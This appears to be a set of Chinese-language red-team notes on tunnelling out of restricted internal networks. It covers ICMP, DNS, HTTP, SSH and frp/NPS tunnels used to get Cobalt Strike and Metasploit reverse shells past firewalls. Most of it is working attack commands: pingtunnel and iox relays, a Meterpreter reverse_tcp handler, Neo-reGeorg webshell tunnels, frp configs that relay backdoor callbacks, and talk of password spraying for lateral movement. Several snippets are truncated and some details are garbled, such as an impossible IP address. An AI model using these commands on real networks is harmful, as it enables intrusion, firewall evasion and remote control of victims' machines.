内网-隧道技术
隧道技术
常见的隧道技术:
利用各种隧道技术,以网络防火墙允许的协议,
绕过网络防火墙的封锁,实现访问被封锁的目标网络
网络层:IPv6 隧道 ,ICMP隧道
传输层:TCP 隧道,UDP 隧道,常规端口转发
应用层:SSH 隧道,HTPP/S 隧道, DNS 隧道
协议 判断命令
ICMP ping ip or domain
HTTP curl ip or domain
SSH ssh ip or domain
DNS nslookup domain
TCP telnet ip port
… …………
ICMP
工具:
https://github.com/esrrhs/pingtunnel
IMCP 通过 PING 命令访问远程计算机,建立ICMP隧道将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中,从而传过防火请,防火请一般不会屏蔽PING数据包,实现不受限制的访问。
应用场景:80为入口权限点,ICMP为上线突破口
使用场景:目标入站正向被拦截,出站有ICMP出网
排查出网协议:curl nslookuo ping 等命令
CS上线:
1 | 服务端: |
监听:
127.0.0.1 6666(后门生成)
192.168.139.141 7777 (监听上线)
MSF:
1 | pingtunnel -type client -l :3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1 |
监听器配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3344
run
DNS
应用场景:80为入口权限点,DNS为上线突破口
适用场景:目标入站正向被拦截,出站有DNS出网
域名设置如下:
一条A记录指向CS的IP地址
vpn.test.site => CS的IP地址
几条NS记录指向刚刚A记录对应的域名(也可以只写一条)
随便一台电脑上ping绑定的域名 ,若能ping通,且显示的IP地址是我们配置的VPS的地址,说明第一条A类解析设置成功并已生效。
CS:
官网的用法:
写入NS的记录
1 | checkin |
SMB
SMB一般在防火墙入站默认开启的,判断目标端口是否开放
使用场景:防火墙放行的入口打不下利用放行的SMB移动获取权限
利用条件:密码喷射或已知口令的情况下直接正向SMB横向移动拿下
端口转发穿透内网
https://github.com/esrrhs/pingtunnel
https://github.com/EddieIvan01/iox
1,Pingtunnel配合iox代理Socks内网穿透(防火墙只让ICMP出)
2,dnscat2(DNS)配合上线(防火墙只让DNS出)
注意:在实战中碰到此情况,说明此电脑的用处不大基本那些weshell就到此结束了。
C2:
接收客户端传递的ICMP
1 | ./pingtunnel -type server -noprint 1 -nolog 1 -key 0000000 |
将本地4433转到5566端口
1 | ./iox proxy -l 4455 -l 5566 |
Web
将本地2222的TCP封装ICMP给193.168.139.141:4455
1 | pingtunnel -type client l 127.0.0.1 -s 192.168.139.141 -t 193.168.139.141:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000 |
建立Socks节点绑定3389端口:
1 | iox.exe proxy -r 127.0.0.1:2222 |
HTTP
https://github.com/L-codes/Neo-reGeorg
设置密码生成隧道。(aspx|ashx|jsp|jspx|php)并上传到WEB服务器
1 | python neoreg.py generate -k password |
使用neoreg.py连接WEB服务器,在本地建立socks5代理
1 | python3 neoreg.py -k password -u http://xx/tunnel.php |
其他工具:
哥斯拉,冰蝎
ssh
使用场景:内网主机防火墙限制了出网协议,可以利用SSH转发流量实现内网穿透
条件:
被控主机需要支持SSH协议(Windwos需要安装支持软件)
将2.22主机上80端口流量转发到xx.xx上的1234端口
1 | ssh -cfNg -R 1234:192.168.2.22:80 root@xx.xx.xx.xx |
frp穿透
https://github.com/fatedier/frp/releases/tag/v0.62.1
在公网主机上修改frps.toml,设置bindPortfrp客户端的连接:
1 | # frps.toml |
启动
1 | ./frps -c ./frps.toml |
尝试将远程服务器的6666 转到 127.0.0.1 5555 采用tcp协议
攻击机frpc.toml修改,将serverAddr字段设置为的frps服务器的公网IP地址:
1 | # frpc.toml |
启动
1 | ./frpc -c ./frpc.toml |
如何利用这种情况实现c2上线
监听器1:47.23.291.34 6666端口
监听器2:192.168.139.141 5555端口
生成后门用监听器1
后门->47.23.291.34:6666->frp 192.168.139.141:5555->监听器2->正常上线
信息收集:
1,建立socks节点做信息收集
对方内网主机frpc.ini配置:
1 | [common] |
公网服务端frps.ini配置
1 | bind_port = 7000 |
本地在使用proxifier配置公网的ip为socks代理,端口为6000
实战场景:拿到webshell但是上线不了cs(出入站的阻止),要对主机的内部网络进行信息收集打点,无法采用cs上面的socks节点去操作 上传至控制机器 frpc 创建socks节点
条件:出站没有限制
2,端口映射转发做信息收集
条件:入站没有限制
尝试将远程服务端的8888转发映射到192.168.2.22 80
被控制机frpc.ini配置:
1 | serverAddr = "xx.xx.xx.xx" #公网服务器 |
NPS穿透
一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。
https://github.com/ehang-io/nps